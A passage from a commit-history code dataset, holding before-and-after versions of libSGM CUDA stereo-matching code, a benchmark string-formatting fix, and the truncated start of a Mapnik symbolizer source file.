height_));\n\t\t\t\tCudaSafeCall(cudaMalloc(&this->d_src_right, input_depth_bits_ \/ 8 * width_ * height_));\n\t\t\t}\n\t\t\t\n\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_left, sizeof(uint64_t) * width_ * height_));\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_right, sizeof(uint64_t) * width_ * height_));\n\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_matching_cost, sizeof(uint8_t) * width_ * height_ * disparity_size_));\n\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_scost, sizeof(uint16_t) * width_ * height_ * disparity_size_));\n\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_left_disp, sizeof(uint16_t) * width_ * height_));\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_right_disp, sizeof(uint16_t) * width_ * height_));\n\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_tmp_left_disp, sizeof(uint16_t) * width_ * height_));\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_tmp_right_disp, sizeof(uint16_t) * width_ * height_));\n\t\t\tCudaSafeCall(cudaMemset(&this->d_tmp_left_disp, 0, sizeof(uint16_t) * width_ * height_));\n\t\t\tCudaSafeCall(cudaMemset(&this->d_tmp_right_disp, 0, sizeof(uint16_t) * width_ * height_));\n\n\t\t\tfor (int i = 0; i < 8; i++) {\n\t\t\t\tCudaSafeCall(cudaStreamCreate(&this->cuda_streams[i]));\n\t\t\t}\n\n\t\t\t\/\/ create temporary buffer when dst type is 8bit host pointer\n\t\t\tif (!is_cuda_output(inout_type_) && output_depth_bits_ == 8) {\n\t\t\t\tthis->h_output_16bit_buffer = (uint16_t*)malloc(sizeof(uint16_t) * width_ * height_);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tthis->h_output_16bit_buffer = NULL;\n\t\t\t}\n\t\t}\n\n\t\t~CudaStereoSGMResources() {\n\t\t\tCudaSafeCall(cudaFree(this->d_src_left));\n\t\t\tCudaSafeCall(cudaFree(this->d_src_right));\n\n\t\t\tCudaSafeCall(cudaFree(this->d_left));\n\t\t\tCudaSafeCall(cudaFree(this->d_right));\n\n\t\t\tCudaSafeCall(cudaFree(this->d_matching_cost));\n\n\t\t\tCudaSafeCall(cudaFree(this->d_scost));\n\n\t\t\tCudaSafeCall(cudaFree(this->d_left_disp));\n\t\t\tCudaSafeCall(cudaFree(this->d_right_disp));\n\n\t\t\tCudaSafeCall(cudaFree(this->d_tmp_left_disp));\n\t\t\tCudaSafeCall(cudaFree(this->d_tmp_right_disp));\n\n\t\t\tfor (int i = 0; i < 8; i++) {\n\t\t\t\tCudaSafeCall(cudaStreamDestroy(this->cuda_streams[i]));\n\t\t\t}\n\n\t\t\tfree(h_output_16bit_buffer);\n\t\t}\n\t};\n\n\tStereoSGM::StereoSGM(int width, int height, int disparity_size, int input_depth_bits, int output_depth_bits, EXECUTE_INOUT inout_type) :\n\t\twidth_(width),\n\t\theight_(height),\n\t\tdisparity_size_(disparity_size),\n\t\tinput_depth_bits_(input_depth_bits),\n\t\toutput_depth_bits_(output_depth_bits),\n\t\tinout_type_(inout_type),\n\t\tcu_res_(NULL)\n\t{\n\t\t\/\/ check values\n\t\tif (width_ % 2 != 0 || height_ % 2 != 0) {\n\t\t\twidth_ = height_ = input_depth_bits_ = output_depth_bits_ = disparity_size_ = 0;\n\t\t\tthrow std::runtime_error(\"width and height must be even\");\n\t\t}\n\t\tif (input_depth_bits_ != 8 && input_depth_bits_ != 16 && output_depth_bits_ != 8 && output_depth_bits_ != 16) {\n\t\t\twidth_ = height_ = input_depth_bits_ = output_depth_bits_ = disparity_size_ = 0;\n\t\t\tthrow std::runtime_error(\"depth bits must be 8 or 16\");\n\t\t}\n\t\tif (disparity_size_ != 64 && disparity_size_ != 128) {\n\t\t\twidth_ = height_ = input_depth_bits_ = output_depth_bits_ = disparity_size_ = 0;\n\t\t\tthrow std::runtime_error(\"disparity size must be 64 or 128\");\n\t\t}\n\n\t\tcu_res_ = new CudaStereoSGMResources(width_, height_, disparity_size_, input_depth_bits_, output_depth_bits_, inout_type_);\n\t}\n\n\tStereoSGM::~StereoSGM() {\n\t\tif (cu_res_) { delete cu_res_; }\n\t}\n\n\t\n\tvoid StereoSGM::execute(const void* left_pixels, const void* right_pixels, void** dst) {\n\n\t\tconst void *d_input_left, *d_input_right;\n\t\t\n\t\tif (is_cuda_input(inout_type_)) {\n\t\t\td_input_left = left_pixels;\n\t\t\td_input_right = right_pixels;\n\t\t}\n\t\telse {\n\t\t\tCudaSafeCall(cudaMemcpy(cu_res_->d_src_left, left_pixels, input_depth_bits_ \/ 8 * width_ * height_, cudaMemcpyHostToDevice));\n\t\t\tCudaSafeCall(cudaMemcpy(cu_res_->d_src_right, right_pixels, input_depth_bits_ \/ 8 * width_ * height_, cudaMemcpyHostToDevice));\n\t\t\td_input_left = cu_res_->d_src_left;\n\t\t\td_input_right = cu_res_->d_src_right;\n\t\t}\n\n\t\tsgm::details::census(d_input_left, (uint64_t*)cu_res_->d_left, 9, 7, width_, height_, input_depth_bits_, cu_res_->cuda_streams[0]);\n\t\tsgm::details::census(d_input_right, (uint64_t*)cu_res_->d_right, 9, 7, width_, height_, input_depth_bits_, cu_res_->cuda_streams[1]);\n\n\n\t\tCudaSafeCall(cudaMemsetAsync(cu_res_->d_left_disp, 0, sizeof(uint16_t) * width_ * height_, cu_res_->cuda_streams[2]));\n\t\tCudaSafeCall(cudaMemsetAsync(cu_res_->d_right_disp, 0, sizeof(uint16_t) * width_ * height_, cu_res_->cuda_streams[3]));\n\n\t\tCudaSafeCall(cudaMemsetAsync(cu_res_->d_scost, 0, sizeof(uint16_t) * width_ * height_ * disparity_size_, cu_res_->cuda_streams[4]));\n\n\t\tsgm::details::matching_cost((const uint64_t*)cu_res_->d_left, (const uint64_t*)cu_res_->d_right, (uint8_t*)cu_res_->d_matching_cost, width_, height_, disparity_size_);\n\n\t\tsgm::details::scan_scost((const uint8_t*)cu_res_->d_matching_cost, (uint16_t*)cu_res_->d_scost, width_, height_, disparity_size_, cu_res_->cuda_streams);\n\n\t\tcudaStreamSynchronize(cu_res_->cuda_streams[2]);\n\t\tcudaStreamSynchronize(cu_res_->cuda_streams[3]);\n\n\t\tsgm::details::winner_takes_all((const uint16_t*)cu_res_->d_scost, (uint16_t*)cu_res_->d_left_disp, (uint16_t*)cu_res_->d_right_disp, width_, height_, disparity_size_);\n\n\t\tsgm::details::median_filter((uint16_t*)cu_res_->d_left_disp, (uint16_t*)cu_res_->d_tmp_left_disp, width_, height_);\n\t\tsgm::details::median_filter((uint16_t*)cu_res_->d_right_disp, (uint16_t*)cu_res_->d_tmp_right_disp, width_, height_);\n\n\t\tsgm::details::check_consistency((uint16_t*)cu_res_->d_tmp_left_disp, (uint16_t*)cu_res_->d_tmp_right_disp, d_input_left, width_, height_, input_depth_bits_);\n\n\t\t\/\/ output disparity image\n\t\tvoid* disparity_image = cu_res_->d_tmp_left_disp;\n\n\t\tif (!is_cuda_output(inout_type_) && output_depth_bits_ == 16) {\n\t\t\tCudaSafeCall(cudaMemcpy(*dst, disparity_image, sizeof(uint16_t) * width_ * height_, cudaMemcpyDeviceToHost));\n\t\t}\n\t\telse if (is_cuda_output(inout_type_) && output_depth_bits_ == 16) {\n\t\t\t*dst = disparity_image; \/\/ optimize! no-copy!\n\t\t}\n\t\telse if (!is_cuda_output(inout_type_) && output_depth_bits_ == 8) {\n\t\t\tCudaSafeCall(cudaMemcpy(cu_res_->h_output_16bit_buffer, disparity_image, sizeof(uint16_t) * width_ * height_, cudaMemcpyDeviceToHost));\n\t\t\tfor (int i = 0; i < width_ * height_; i++) { ((uint8_t*)*dst)[i] = (uint8_t)cu_res_->h_output_16bit_buffer[i]; }\n\t\t}\n\t\telse if (is_cuda_output(inout_type_) && output_depth_bits_ == 8) {\n\t\t\tsgm::details::cast_16bit_8bit_array((const uint16_t*)disparity_image, (uint8_t*)*dst, width_ * height_);\n\t\t}\n\t\telse {\n\t\t\tstd::cerr << \"not impl\" << std::endl;\n\t\t}\n\t}\n}\n<commit_msg>remove unused buffer<commit_after>\/*\nCopyright 2016 Fixstars Corporation\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp :\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#include <iostream>\n\n#include <libsgm.h>\n\n#include \"internal.h\"\n\nnamespace sgm {\n\tstatic bool is_cuda_input(EXECUTE_INOUT type) { return (int)type & 0x1; }\n\tstatic bool is_cuda_output(EXECUTE_INOUT type) { return (int)type & 0x2; }\n\n\tstruct CudaStereoSGMResources {\n\t\tvoid* d_src_left;\n\t\tvoid* d_src_right;\n\t\tvoid* d_left;\n\t\tvoid* d_right;\n\t\tvoid* d_scost;\n\t\tvoid* d_matching_cost;\n\t\tvoid* d_left_disp;\n\t\tvoid* d_right_disp;\n\n\t\tvoid* d_tmp_left_disp;\n\t\tvoid* d_tmp_right_disp;\n\n\t\tcudaStream_t cuda_streams[8];\n\n\t\tuint16_t* h_output_16bit_buffer;\n\n\t\tCudaStereoSGMResources(int width_, int height_, int disparity_size_, int input_depth_bits_, int output_depth_bits_, EXECUTE_INOUT inout_type_) {\n\n\t\t\tif (is_cuda_input(inout_type_)) {\n\t\t\t\tthis->d_src_left = NULL;\n\t\t\t\tthis->d_src_right = NULL;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tCudaSafeCall(cudaMalloc(&this->d_src_left, input_depth_bits_ \/ 8 * width_ * height_));\n\t\t\t\tCudaSafeCall(cudaMalloc(&this->d_src_right, input_depth_bits_ \/ 8 * width_ * height_));\n\t\t\t}\n\t\t\t\n\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_left, sizeof(uint64_t) * width_ * height_));\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_right, sizeof(uint64_t) * width_ * height_));\n\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_matching_cost, sizeof(uint8_t) * width_ * height_ * disparity_size_));\n\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_scost, sizeof(uint16_t) * width_ * height_ * disparity_size_));\n\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_left_disp, sizeof(uint16_t) * width_ * height_));\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_right_disp, sizeof(uint16_t) * width_ * height_));\n\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_tmp_left_disp, sizeof(uint16_t) * width_ * height_));\n\t\t\tCudaSafeCall(cudaMalloc(&this->d_tmp_right_disp, sizeof(uint16_t) * width_ * height_));\n\t\t\tCudaSafeCall(cudaMemset(&this->d_tmp_left_disp, 0, sizeof(uint16_t) * width_ * height_));\n\t\t\tCudaSafeCall(cudaMemset(&this->d_tmp_right_disp, 0, sizeof(uint16_t) * width_ * height_));\n\n\t\t\tfor (int i = 0; i < 8; i++) {\n\t\t\t\tCudaSafeCall(cudaStreamCreate(&this->cuda_streams[i]));\n\t\t\t}\n\n\t\t\t\/\/ create temporary buffer when dst type is 8bit host pointer\n\t\t\tif (!is_cuda_output(inout_type_) && output_depth_bits_ == 8) {\n\t\t\t\tthis->h_output_16bit_buffer = (uint16_t*)malloc(sizeof(uint16_t) * width_ * height_);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tthis->h_output_16bit_buffer = NULL;\n\t\t\t}\n\t\t}\n\n\t\t~CudaStereoSGMResources() {\n\t\t\tCudaSafeCall(cudaFree(this->d_src_left));\n\t\t\tCudaSafeCall(cudaFree(this->d_src_right));\n\n\t\t\tCudaSafeCall(cudaFree(this->d_left));\n\t\t\tCudaSafeCall(cudaFree(this->d_right));\n\n\t\t\tCudaSafeCall(cudaFree(this->d_matching_cost));\n\n\t\t\tCudaSafeCall(cudaFree(this->d_scost));\n\n\t\t\tCudaSafeCall(cudaFree(this->d_left_disp));\n\t\t\tCudaSafeCall(cudaFree(this->d_right_disp));\n\n\t\t\tCudaSafeCall(cudaFree(this->d_tmp_left_disp));\n\t\t\tCudaSafeCall(cudaFree(this->d_tmp_right_disp));\n\n\t\t\tfor (int i = 0; i < 8; i++) {\n\t\t\t\tCudaSafeCall(cudaStreamDestroy(this->cuda_streams[i]));\n\t\t\t}\n\n\t\t\tfree(h_output_16bit_buffer);\n\t\t}\n\t};\n\n\tStereoSGM::StereoSGM(int width, int height, int disparity_size, int input_depth_bits, int output_depth_bits, EXECUTE_INOUT inout_type) :\n\t\twidth_(width),\n\t\theight_(height),\n\t\tdisparity_size_(disparity_size),\n\t\tinput_depth_bits_(input_depth_bits),\n\t\toutput_depth_bits_(output_depth_bits),\n\t\tinout_type_(inout_type),\n\t\tcu_res_(NULL)\n\t{\n\t\t\/\/ check values\n\t\tif (width_ % 2 != 0 || height_ % 2 != 0) {\n\t\t\twidth_ = height_ = input_depth_bits_ = output_depth_bits_ = disparity_size_ = 0;\n\t\t\tthrow std::runtime_error(\"width and height must be even\");\n\t\t}\n\t\tif (input_depth_bits_ != 8 && input_depth_bits_ != 16 && output_depth_bits_ != 8 && output_depth_bits_ != 16) {\n\t\t\twidth_ = height_ = input_depth_bits_ = output_depth_bits_ = disparity_size_ = 0;\n\t\t\tthrow std::runtime_error(\"depth bits must be 8 or 16\");\n\t\t}\n\t\tif (disparity_size_ != 64 && disparity_size_ != 128) {\n\t\t\twidth_ = height_ = input_depth_bits_ = output_depth_bits_ = disparity_size_ = 0;\n\t\t\tthrow std::runtime_error(\"disparity size must be 64 or 128\");\n\t\t}\n\n\t\tcu_res_ = new CudaStereoSGMResources(width_, height_, disparity_size_, input_depth_bits_, output_depth_bits_, inout_type_);\n\t}\n\n\tStereoSGM::~StereoSGM() {\n\t\tif (cu_res_) { delete cu_res_; }\n\t}\n\n\t\n\tvoid StereoSGM::execute(const void* left_pixels, const void* right_pixels, void** dst) {\n\n\t\tconst void *d_input_left, *d_input_right;\n\t\t\n\t\tif (is_cuda_input(inout_type_)) {\n\t\t\td_input_left = left_pixels;\n\t\t\td_input_right = right_pixels;\n\t\t}\n\t\telse {\n\t\t\tCudaSafeCall(cudaMemcpy(cu_res_->d_src_left, left_pixels, input_depth_bits_ \/ 8 * width_ * height_, cudaMemcpyHostToDevice));\n\t\t\tCudaSafeCall(cudaMemcpy(cu_res_->d_src_right, right_pixels, input_depth_bits_ \/ 8 * width_ * height_, cudaMemcpyHostToDevice));\n\t\t\td_input_left = cu_res_->d_src_left;\n\t\t\td_input_right = cu_res_->d_src_right;\n\t\t}\n\n\t\tsgm::details::census(d_input_left, (uint64_t*)cu_res_->d_left, 9, 7, width_, height_, input_depth_bits_, cu_res_->cuda_streams[0]);\n\t\tsgm::details::census(d_input_right, (uint64_t*)cu_res_->d_right, 9, 7, width_, height_, input_depth_bits_, cu_res_->cuda_streams[1]);\n\n\n\t\tCudaSafeCall(cudaMemsetAsync(cu_res_->d_left_disp, 0, sizeof(uint16_t) * width_ * height_, cu_res_->cuda_streams[2]));\n\t\tCudaSafeCall(cudaMemsetAsync(cu_res_->d_right_disp, 0, sizeof(uint16_t) * width_ * height_, cu_res_->cuda_streams[3]));\n\n\t\tCudaSafeCall(cudaMemsetAsync(cu_res_->d_scost, 0, sizeof(uint16_t) * width_ * height_ * disparity_size_, cu_res_->cuda_streams[4]));\n\n\t\tsgm::details::matching_cost((const uint64_t*)cu_res_->d_left, (const uint64_t*)cu_res_->d_right, (uint8_t*)cu_res_->d_matching_cost, width_, height_, disparity_size_);\n\n\t\tsgm::details::scan_scost((const uint8_t*)cu_res_->d_matching_cost, (uint16_t*)cu_res_->d_scost, width_, height_, disparity_size_, cu_res_->cuda_streams);\n\n\t\tcudaStreamSynchronize(cu_res_->cuda_streams[2]);\n\t\tcudaStreamSynchronize(cu_res_->cuda_streams[3]);\n\n\t\tsgm::details::winner_takes_all((const uint16_t*)cu_res_->d_scost, (uint16_t*)cu_res_->d_left_disp, (uint16_t*)cu_res_->d_right_disp, width_, height_, disparity_size_);\n\n\t\tsgm::details::median_filter((uint16_t*)cu_res_->d_left_disp, (uint16_t*)cu_res_->d_tmp_left_disp, width_, height_);\n\t\tsgm::details::median_filter((uint16_t*)cu_res_->d_right_disp, (uint16_t*)cu_res_->d_tmp_right_disp, width_, height_);\n\n\t\tsgm::details::check_consistency((uint16_t*)cu_res_->d_tmp_left_disp, (uint16_t*)cu_res_->d_tmp_right_disp, d_input_left, width_, height_, input_depth_bits_);\n\n\t\t\/\/ output disparity image\n\t\tvoid* disparity_image = cu_res_->d_tmp_left_disp;\n\n\t\tif (!is_cuda_output(inout_type_) && output_depth_bits_ == 16) {\n\t\t\tCudaSafeCall(cudaMemcpy(*dst, disparity_image, sizeof(uint16_t) * width_ * height_, cudaMemcpyDeviceToHost));\n\t\t}\n\t\telse if (is_cuda_output(inout_type_) && output_depth_bits_ == 16) {\n\t\t\t*dst = disparity_image; \/\/ optimize! no-copy!\n\t\t}\n\t\telse if (!is_cuda_output(inout_type_) && output_depth_bits_ == 8) {\n\t\t\tCudaSafeCall(cudaMemcpy(cu_res_->h_output_16bit_buffer, disparity_image, sizeof(uint16_t) * width_ * height_, cudaMemcpyDeviceToHost));\n\t\t\tfor (int i = 0; i < width_ * height_; i++) { ((uint8_t*)*dst)[i] = (uint8_t)cu_res_->h_output_16bit_buffer[i]; }\n\t\t}\n\t\telse if (is_cuda_output(inout_type_) && output_depth_bits_ == 8) {\n\t\t\tsgm::details::cast_16bit_8bit_array((const uint16_t*)disparity_image, (uint8_t*)*dst, width_ * height_);\n\t\t}\n\t\telse {\n\t\t\tstd::cerr << \"not impl\" << std::endl;\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"string_util.h\"\n\n#include <cmath>\n#include <cstdarg>\n#include <array>\n#include <memory>\n#include <sstream>\n\n#include \"arraysize.h\"\n\nnamespace benchmark {\nnamespace {\n\n\/\/ kilo, Mega, Giga, Tera, Peta, Exa, Zetta, Yotta.\nconst char kBigSIUnits[] = \"kMGTPEZY\";\n\/\/ Kibi, Mebi, Gibi, Tebi, Pebi, Exbi, Zebi, Yobi.\nconst char kBigIECUnits[] = \"KMGTPEZY\";\n\/\/ milli, micro, nano, pico, femto, atto, zepto, yocto.\nconst char kSmallSIUnits[] = \"munpfazy\";\n\n\/\/ We require that all three arrays have the same size.\nstatic_assert(arraysize(kBigSIUnits) == arraysize(kBigIECUnits),\n \"SI and IEC unit arrays must be the same size\");\nstatic_assert(arraysize(kSmallSIUnits) == arraysize(kBigSIUnits),\n \"Small SI and Big SI unit arrays must be the same size\");\n\nstatic const int64_t kUnitsSize = arraysize(kBigSIUnits);\n\n} \/\/ end anonymous namespace\n\nvoid ToExponentAndMantissa(double val, double thresh, int precision,\n double one_k, std::string* mantissa,\n int64_t* exponent) {\n std::stringstream mantissa_stream;\n\n if (val < 0) {\n mantissa_stream << \"-\";\n val = -val;\n }\n\n \/\/ Adjust threshold so that it never excludes things which can't be rendered\n \/\/ in 'precision' digits.\n const double adjusted_threshold =\n std::max(thresh, 1.0 \/ std::pow(10.0, precision));\n const double big_threshold = adjusted_threshold * one_k;\n const double small_threshold = adjusted_threshold;\n\n if (val > big_threshold) {\n \/\/ Positive powers\n double scaled = val;\n for (size_t i = 0; i < arraysize(kBigSIUnits); ++i) {\n scaled \/= one_k;\n if (scaled <= big_threshold) {\n mantissa_stream << scaled;\n *exponent = i + 1;\n *mantissa = mantissa_stream.str();\n return;\n }\n }\n mantissa_stream << val;\n *exponent = 0;\n } else if (val < small_threshold) {\n \/\/ Negative powers\n double scaled = val;\n for (size_t i = 0; i < arraysize(kSmallSIUnits); ++i) {\n scaled *= one_k;\n if (scaled >= small_threshold) {\n mantissa_stream << scaled;\n *exponent = -i - 1;\n *mantissa = mantissa_stream.str();\n return;\n }\n }\n mantissa_stream << val;\n *exponent = 0;\n } else {\n mantissa_stream << val;\n *exponent = 0;\n }\n *mantissa = mantissa_stream.str();\n}\n\nstd::string ExponentToPrefix(int64_t exponent, bool iec) {\n if (exponent == 0) return \"\";\n\n const int64_t index = (exponent > 0 ? exponent - 1 : -exponent - 1);\n if (index >= kUnitsSize) return \"\";\n\n const char* array =\n (exponent > 0 ? (iec ? kBigIECUnits : kBigSIUnits) : kSmallSIUnits);\n if (iec)\n return array[index] + std::string(\"i\");\n else\n return std::string(1, array[index]);\n}\n\nstd::string ToBinaryStringFullySpecified(double value, double threshold,\n int precision) {\n std::string mantissa;\n int64_t exponent;\n ToExponentAndMantissa(value, threshold, precision, 1024.0, &mantissa,\n &exponent);\n return mantissa + ExponentToPrefix(exponent, false);\n}\n\nvoid AppendHumanReadable(int n, std::string* str) {\n std::stringstream ss;\n \/\/ Round down to the nearest SI prefix.\n ss << \"\/\" << ToBinaryStringFullySpecified(n, 1.0, 0);\n *str += ss.str();\n}\n\nstd::string HumanReadableNumber(double n) {\n \/\/ 1.1 means that figures up to 1.1k should be shown with the next unit down;\n \/\/ this softens edge effects.\n \/\/ 1 means that we should show one decimal place of precision.\n return ToBinaryStringFullySpecified(n, 1.1, 1);\n}\n\nstd::string StringPrintFImp(const char *msg, va_list args)\n{\n \/\/ we might need a second shot at this, so pre-emptivly make a copy\n va_list args_cp;\n va_copy(args_cp, args);\n\n \/\/ TODO(ericwf): use std::array for first attempt to avoid one memory\n \/\/ allocation guess what the size might be\n std::array<char, 256> local_buff;\n std::size_t size = local_buff.size();\n auto ret = std::vsnprintf(local_buff.data(), size, msg, args_cp);\n\n va_end(args_cp);\n\n \/\/ handle empty expansion\n if (ret == 0)\n return std::string{};\n if (static_cast<std::size_t>(ret) < size)\n return std::string(local_buff.data());\n\n \/\/ we did not provide a long enough buffer on our first attempt.\n \/\/ add 1 to size to account for null-byte in size cast to prevent overflow\n size = static_cast<std::size_t>(ret) + 1;\n auto buff_ptr = std::unique_ptr<char[]>(new char[size]);\n ret = std::vsnprintf(buff_ptr.get(), size, msg, args);\n return std::string(buff_ptr.get());\n}\n\nstd::string StringPrintF(const char* format, ...)\n{\n va_list args;\n va_start(args, format);\n std::string tmp = StringPrintFImp(format, args);\n va_end(args);\n return tmp;\n}\n\nvoid ReplaceAll(std::string* str, const std::string& from,\n const std::string& to) {\n std::size_t start = 0;\n while((start = str->find(from, start)) != std::string::npos) {\n str->replace(start, from.length(), to);\n start += to.length();\n }\n}\n\n} \/\/ end namespace benchmark\n<commit_msg>Fixed bug in \"ToExponentAndMantissa\" when negative exponents where created.<commit_after>#include \"string_util.h\"\n\n#include <cmath>\n#include <cstdarg>\n#include <array>\n#include <memory>\n#include <sstream>\n\n#include \"arraysize.h\"\n\nnamespace benchmark {\nnamespace {\n\n\/\/ kilo, Mega, Giga, Tera, Peta, Exa, Zetta, Yotta.\nconst char kBigSIUnits[] = \"kMGTPEZY\";\n\/\/ Kibi, Mebi, Gibi, Tebi, Pebi, Exbi, Zebi, Yobi.\nconst char kBigIECUnits[] = \"KMGTPEZY\";\n\/\/ milli, micro, nano, pico, femto, atto, zepto, yocto.\nconst char kSmallSIUnits[] = \"munpfazy\";\n\n\/\/ We require that all three arrays have the same size.\nstatic_assert(arraysize(kBigSIUnits) == arraysize(kBigIECUnits),\n \"SI and IEC unit arrays must be the same size\");\nstatic_assert(arraysize(kSmallSIUnits) == arraysize(kBigSIUnits),\n \"Small SI and Big SI unit arrays must be the same size\");\n\nstatic const int64_t kUnitsSize = arraysize(kBigSIUnits);\n\n} \/\/ end anonymous namespace\n\nvoid ToExponentAndMantissa(double val, double thresh, int precision,\n double one_k, std::string* mantissa,\n int64_t* exponent) {\n std::stringstream mantissa_stream;\n\n if (val < 0) {\n mantissa_stream << \"-\";\n val = -val;\n }\n\n \/\/ Adjust threshold so that it never excludes things which can't be rendered\n \/\/ in 'precision' digits.\n const double adjusted_threshold =\n std::max(thresh, 1.0 \/ std::pow(10.0, precision));\n const double big_threshold = adjusted_threshold * one_k;\n const double small_threshold = adjusted_threshold;\n\n if (val > big_threshold) {\n \/\/ Positive powers\n double scaled = val;\n for (size_t i = 0; i < arraysize(kBigSIUnits); ++i) {\n scaled \/= one_k;\n if (scaled <= big_threshold) {\n mantissa_stream << scaled;\n *exponent = i + 1;\n *mantissa = mantissa_stream.str();\n return;\n }\n }\n mantissa_stream << val;\n *exponent = 0;\n } else if (val < small_threshold) {\n \/\/ Negative powers\n double scaled = val;\n for (size_t i = 0; i < arraysize(kSmallSIUnits); ++i) {\n scaled *= one_k;\n if (scaled >= small_threshold) {\n mantissa_stream << scaled;\n *exponent = -static_cast<int64_t>(i + 1);\n *mantissa = mantissa_stream.str();\n return;\n }\n }\n mantissa_stream << val;\n *exponent = 0;\n } else {\n mantissa_stream << val;\n *exponent = 0;\n }\n *mantissa = mantissa_stream.str();\n}\n\nstd::string ExponentToPrefix(int64_t exponent, bool iec) {\n if (exponent == 0) return \"\";\n\n const int64_t index = (exponent > 0 ? exponent - 1 : -exponent - 1);\n if (index >= kUnitsSize) return \"\";\n\n const char* array =\n (exponent > 0 ? (iec ? kBigIECUnits : kBigSIUnits) : kSmallSIUnits);\n if (iec)\n return array[index] + std::string(\"i\");\n else\n return std::string(1, array[index]);\n}\n\nstd::string ToBinaryStringFullySpecified(double value, double threshold,\n int precision) {\n std::string mantissa;\n int64_t exponent;\n ToExponentAndMantissa(value, threshold, precision, 1024.0, &mantissa,\n &exponent);\n return mantissa + ExponentToPrefix(exponent, false);\n}\n\nvoid AppendHumanReadable(int n, std::string* str) {\n std::stringstream ss;\n \/\/ Round down to the nearest SI prefix.\n ss << \"\/\" << ToBinaryStringFullySpecified(n, 1.0, 0);\n *str += ss.str();\n}\n\nstd::string HumanReadableNumber(double n) {\n \/\/ 1.1 means that figures up to 1.1k should be shown with the next unit down;\n \/\/ this softens edge effects.\n \/\/ 1 means that we should show one decimal place of precision.\n return ToBinaryStringFullySpecified(n, 1.1, 1);\n}\n\nstd::string StringPrintFImp(const char *msg, va_list args)\n{\n \/\/ we might need a second shot at this, so pre-emptivly make a copy\n va_list args_cp;\n va_copy(args_cp, args);\n\n \/\/ TODO(ericwf): use std::array for first attempt to avoid one memory\n \/\/ allocation guess what the size might be\n std::array<char, 256> local_buff;\n std::size_t size = local_buff.size();\n auto ret = std::vsnprintf(local_buff.data(), size, msg, args_cp);\n\n va_end(args_cp);\n\n \/\/ handle empty expansion\n if (ret == 0)\n return std::string{};\n if (static_cast<std::size_t>(ret) < size)\n return std::string(local_buff.data());\n\n \/\/ we did not provide a long enough buffer on our first attempt.\n \/\/ add 1 to size to account for null-byte in size cast to prevent overflow\n size = static_cast<std::size_t>(ret) + 1;\n auto buff_ptr = std::unique_ptr<char[]>(new char[size]);\n ret = std::vsnprintf(buff_ptr.get(), size, msg, args);\n return std::string(buff_ptr.get());\n}\n\nstd::string StringPrintF(const char* format, ...)\n{\n va_list args;\n va_start(args, format);\n std::string tmp = StringPrintFImp(format, args);\n va_end(args);\n return tmp;\n}\n\nvoid ReplaceAll(std::string* str, const std::string& from,\n const std::string& to) {\n std::size_t start = 0;\n while((start = str->find(from, start)) != std::string::npos) {\n str->replace(start, from.length(), to);\n start += to.length();\n }\n}\n\n} \/\/ end namespace benchmark\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\/\/$Id$\n\n\/\/mapnik\n#include <mapnik\/symbolizer.hpp>\n#include <mapnik\/map.hpp>\n\nnamespace mapnik {\n\nvoid symbolizer_base::add_metawriter(std::string const& name, metawriter_properties const& properties)\n{\n writer_name_ = name;\n properties_ = properties;\n}\n\nvoid symbolizer_base::cache_metawriters(Map const &m)\n{\n if (writer_name_.empty()) {\n properties_complete_.clear();\n writer_ptr_ = metawriter_ptr();\n return; \/\/ No metawriter\n }\n\n writer_ptr_ = m.find_metawriter(writer_name_);\n if (writer_ptr_) {\n properties_complete_ = writer_ptr_->get_default_properties();\n properties_complete_.insert(properties_.begin(), properties_.end());\n } else {\n properties_complete_.clear();\n std::cerr << \"WARNING: Metawriter '\" << writer_name_ << \"' used but not defined.\\n\";\n }\n}\n\nmetawriter_with_properties symbolizer_base::get_metawriter() const\n{\n return metawriter_with_properties(writer_ptr_, properties_complete_);\n}\n\nsymbolizer_with_image::symbolizer_with_image(path_expression_ptr file)\n : image_filename_( file ),\n opacity_(1.0f)\n\n{\n matrix_[0] = 1.0;\n matrix_[1] = 0.0;\n matrix_[2] = 0.0;\n matrix_[3] = 1.0;\n matrix_[4] = 0.0;\n matrix_[5] = 0.0;\n}\n\nsymbolizer_with_image::symbolizer_with_image( symbolizer_with_image const& rhs)\n : image_filename_(rhs.image_filename_),\n opacity_(rhs.opacity_),\n matrix_(rhs.matrix_) {}\n \npath_expression_ptr symbolizer_with_image::get_filename() const\n{\n return image_filename_;\n}\n\nvoid symbolizer_with_image::set_filename(path_expression_ptr image_filename) \n{\n image_filename_ = 